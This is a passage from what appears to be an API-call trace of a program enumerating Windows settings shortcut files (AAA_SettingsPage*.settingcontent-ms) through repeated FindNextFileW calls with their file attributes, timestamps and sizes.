ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageNetworkDirectAccess.settingcontent-ms", cAlternateFileName="AA896E~1.SET")) returned 1 [0194.044] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5df2072, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5df2072, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageNetworkEthernet.settingcontent-ms", cAlternateFileName="AA39CE~1.SET")) returned 1 [0194.044] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x615f6b5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x615f6b5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageNetworkMobileBroadband.settingcontent-ms", cAlternateFileName="AAF71D~1.SET")) returned 1 [0194.044] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63292fa, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x63292fa, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x453, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageNetworkMobileHotspot.settingcontent-ms", cAlternateFileName="AA6FDD~1.SET")) returned 1 [0194.044] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x645a5cb, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x645a5cb, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageNetworkProxy.settingcontent-ms", cAlternateFileName="AA16BE~1.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ac9d0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x68ac9d0, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x421, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageNetworkVPN.settingcontent-ms", cAlternateFileName="AAE339~1.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a9c8b8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6a9c8b8, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageNetworkWiFi.settingcontent-ms", cAlternateFileName="AA60E9~1.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c402ce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6c402ce, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageNetworkWorkplace.settingcontent-ms", cAlternateFileName="AA3ED6~1.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8ad1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6ec8ad1, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePCSystemAutoPlay.settingcontent-ms", cAlternateFileName="AAEEC3~1.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cea88, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x72cea88, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePCSystemBluetooth.settingcontent-ms", cAlternateFileName="AA6CEB~1.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76884d4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x76884d4, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePCSystemDevices.settingcontent-ms", cAlternateFileName="AACA0F~1.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79cf87f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x79cf87f, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePCSystemDeviceSettings.settingcontent-ms", cAlternateFileName="AAD2D6~1.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b99503, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7b99503, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePCSystemDisplay.settingcontent-ms", cAlternateFileName="AA6364~2.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d63123, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7d63123, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePCSystemInfo.settingcontent-ms", cAlternateFileName="AA018C~1.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b0c0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x8b8b0c0, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePCSystemShellMode.settingcontent-ms", cAlternateFileName="AA5C62~1.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904fc98, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x904fc98, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyAccountInfo.settingcontent-ms", cAlternateFileName="AA1248~1.SET")) returned 1 [0194.045] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9180f47, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x9180f47, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyCalendar.settingcontent-ms", cAlternateFileName="AA017B~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b2259, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92b2259, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyCallHistory.settingcontent-ms", cAlternateFileName="AA415E~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966bcb4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x966bcb4, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyContacts.settingcontent-ms", cAlternateFileName="AA1DE6~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d92be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x99d92be, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyCustomPeripherals.settingcontent-ms", cAlternateFileName="AA090F~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfa4fd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x9cfa4fd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x42b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyEmail.settingcontent-ms", cAlternateFileName="AA7C3F~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e2b7e4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x9e2b7e4, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x435, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyGeneral.settingcontent-ms", cAlternateFileName="AA9864~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3080eb, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xb3080eb, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyLocation.settingcontent-ms", cAlternateFileName="AAD632~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4f7f93, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xb4f7f93, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyMessaging.settingcontent-ms", cAlternateFileName="AA8919~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7ca31e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc7ca31e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23969bec, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyMicrophone.settingcontent-ms", cAlternateFileName="AAE799~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcef14ca, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcef14ca, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x444, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyMotionData.settingcontent-ms", cAlternateFileName="AAF2F8~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4e721a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4e721a, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x45d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyPersonalization.settingcontent-ms", cAlternateFileName="AACED3~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae233c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xdae233c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyRadios.settingcontent-ms", cAlternateFileName="AAC1C7~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbc7187, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xdbc7187, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacySIUFSettings.settingcontent-ms", cAlternateFileName="AA247E~1.SET")) returned 1 [0194.057] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf8458, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xdcf8458, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPagePrivacyWebcam.settingcontent-ms", cAlternateFileName="AA907A~1.SET")) returned 1 [0194.058] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdff33b9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xdff33b9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageRestoreDeveloperOptions.settingcontent-ms", cAlternateFileName="AAB4D2~1.SET")) returned 1 [0194.058] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3ace52, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe3ace52, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageRestoreMusUpdate.settingcontent-ms", cAlternateFileName="AAD392~1.SET")) returned 1 [0194.058] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8254cb, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8254cb, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageRestoreOneBackup.settingcontent-ms", cAlternateFileName="AAC14A~1.SET")) returned 1 [0194.058] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee1b304, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xee1b304, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x435, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageRestoreRestore.settingcontent-ms", cAlternateFileName="AA489C~1.SET")) returned 1 [0194.058] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13225d16, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x13225d16, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x44e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageScreenPowerAndSleep.settingcontent-ms", cAlternateFileName="AA98C3~1.SET")) returned 1 [0194.058] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x133ef956, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x133ef956, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageSpeech.settingcontent-ms", cAlternateFileName="AA0C1F~1.SET")) returned 1 [0194.058] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13651edb, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x13651edb, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageStart.settingcontent-ms", cAlternateFileName="AA7F40~1.SET")) returned 1 [0194.063] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b62f1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x13b62f1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageStorageSenseSaveLocations.settingcontent-ms", cAlternateFileName="AA3F18~1.SET")) returned 1 [0194.063] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d06901, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x13d06901, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x238f74d9, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x476, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageStorageSenseStorageOverview.settingcontent-ms", cAlternateFileName="AADC68~1.SET")) returned 1 [0194.063] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14027a60, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x14027a60, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x40d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageThemes.settingcontent-ms", cAlternateFileName="AA43E2~1.SET")) returned 1 [0194.063] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142179b9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x142179b9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageTimeRegionDateTime.settingcontent-ms", cAlternateFileName="AAC193~1.SET")) returned 1 [0194.063] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1487fe5a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1487fe5a, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x233c02ad, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageTimeRegionLanguage.settingcontent-ms", cAlternateFileName="AA52B7~1.SET")) returned 1 [0194.063] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1493ea2e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1493ea2e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SettingsPageTimeRegionSpelling.settingcontent-ms", cAlternateFileName="AA4071~1.SET")) returned 1 [0194.063] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x149d73c8, 